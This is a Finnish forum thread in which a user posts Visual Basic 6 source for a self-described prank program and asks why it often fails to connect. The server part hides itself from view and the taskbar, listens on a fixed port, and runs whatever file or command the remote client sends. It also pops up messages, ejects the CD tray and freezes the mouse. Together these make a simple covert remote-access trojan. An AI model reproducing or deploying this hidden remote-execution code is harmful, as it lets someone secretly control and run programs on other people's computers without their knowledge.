Tein tässä sellasen pilailuohjelman jolla voi lähettää viestejä netin yli yms. mutta nyt tuli ihmeellinen ongelma. Kun on toisella koneella client ja toisella server niin normaalisti yhdistää heti mutta tässä tapauksessa noin 50% koneista ei yhdistä vaikka server ja client on päällä... koitin jo vaihtaa porttia ja palomuurikin on koitettu poistaa käytöstä tuloksetta... missä vika?
Näillä tiedoilla voi päätellä että koodissa on(tai saattaa olla) vikaa.
no laitan koodia... koodissa on varmasti kohtia joita voisi tehdä paremmin mutta tämä nyt on purkkaa...
Eli Server:
Private Declare Function SetCursorPos Lib "user32.dll" _ (ByVal x As Long, ByVal y As Long) As Long Private Declare Sub mouse_event Lib "user32" _ (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, _ ByVal cButtons As Long, ByVal dwExtraInfo As Long) Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Dim aa As String, loll As String Private Sub Form_Load() On Error Resume Next Winsock1.LocalPort = 6783 Winsock1.Listen Timer1.Enabled = False App.TaskVisible = False Me.Visible = False End Sub Private Sub Timer1_Timer() Call SetCursorPos(0, 0) End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) If Winsock1.State <> sckClosed Then Winsock1.Close Winsock1.Accept requestID End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim data As String, lol() As String Winsock1.GetData data lol = Split(data, "|") If lol(1) = "3" Then MsgBox lol(0), vbCritical, "Viesti!" If lol(1) = "1" And lol(0) = "open" Then mciSendString "Set CDAudio Door Open", "", 0, 0 If lol(1) = "1" And lol(0) = "close" Then mciSendString "Set CDAudio Door Closed", "", 0, 0 If lol(1) = "1" And lol(0) = "lock" Then Timer1.Enabled = True If lol(1) = "1" And lol(0) = "unlock" Then Timer1.Enabled = False If lol(1) = "2" Then ShellExecute 0&, vbNullString, lol(0), vbNullString, vbNullString, vbNormalFocus End Sub Private Sub winsock1_close() Winsock1.Close Winsock1.Listen End Sub
Ja Client
Dim con As Integer Private Sub Command1_Click() Winsock1.RemoteHost = Text1.Text Winsock1.RemotePort = 6783 Winsock1.Connect Me.Caption = "Pilailuohjelma NET - Yhdistetään..." Timer1.Enabled = True con = 3 End Sub Private Sub Command3_Click() If Winsock1.State = sckConnected Then Winsock1.SendData Text3.Text & "|2" Else MsgBox "Et ole yhteydessä mihinkään tietokoneeseen!", vbCritical, Form1.Caption End Sub Private Sub Command4_Click() If Winsock1.State = sckConnected Then Winsock1.SendData "open|1" Else MsgBox "Et ole yhteydessä mihinkään tietokoneeseen!", vbCritical, Form1.Caption End Sub Private Sub Command5_Click() If Winsock1.State = sckConnected Then Winsock1.SendData "close|1" Else MsgBox "Et ole yhteydessä mihinkään tietokoneeseen!", vbCritical, Form1.Caption End Sub Private Sub Command6_Click() If Winsock1.State = sckConnected Then Winsock1.SendData "lock|1" Else MsgBox "Et ole yhteydessä mihinkään tietokoneeseen!", vbCritical, Form1.Caption End Sub Private Sub Command7_Click() If Winsock1.State = sckConnected Then Winsock1.SendData "unlock|1" Else MsgBox "Et ole yhteydessä mihinkään tietokoneeseen!", vbCritical, Form1.Caption End Sub Private Sub Command8_Click() If Winsock1.State = sckConnected Then Winsock1.SendData Text2.Text & "|3" Else MsgBox "Et ole yhteydessä mihinkään tietokoneeseen!", vbCritical, Form1.Caption End Sub Private Sub Command9_Click() Open "conf.ini" For Output As #1 Print #1, Winsock1.LocalIP Close End Sub Private Sub Form_Load() Me.Height = 960 Me.Width = 5310 info1.Caption = "Own3d by: JorGGa" info2.Caption = "Th4nks to: Phix, Wempuli, Jebu, Ouzo, T3rr0r" End Sub Private Sub List1_GotFocus() Text2.SetFocus End Sub Private Sub Timer1_Timer() If con = 3 Then Me.Caption = "Pilailuohjelma NET - Yhdistetään." con = 1 ElseIf con = 1 Then Me.Caption = "Pilailuohjelma NET - Yhdistetään.." con = 2 ElseIf con = 2 Then Me.Caption = "Pilailuohjelma NET - Yhdistetään..." con = 3 End If End Sub Private Sub Timer2_Timer() If Winsock1.State = sckConnected Then Else DisconnecteD End If End Sub Private Sub Winsock1_Connect() Timer1.Enabled = False Me.Caption = "Pilailuohjelma NET - Yhdistetty [" & Winsock1.RemoteHostIP & "]" connecteD Timer2.Enabled = True Command1.Enabled = False End Sub Sub connecteD() Me.Height = 3315 Me.Width = 6870 End Sub Sub DisconnecteD() Me.Height = 960 Winsock1.Close Me.Caption = "Pilailuohjelma NET - Ei yhteydessä" Timer1.Enabled = False Me.Width = 5310 Command1.Enabled = True End Sub Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Winsock1.Close Me.Caption = "Pilailuohjelma NET - Ei yhteydessä" Timer1.Enabled = False DisconnecteD End Sub
Aihe on jo aika vanha, joten et voi enää vastata siihen.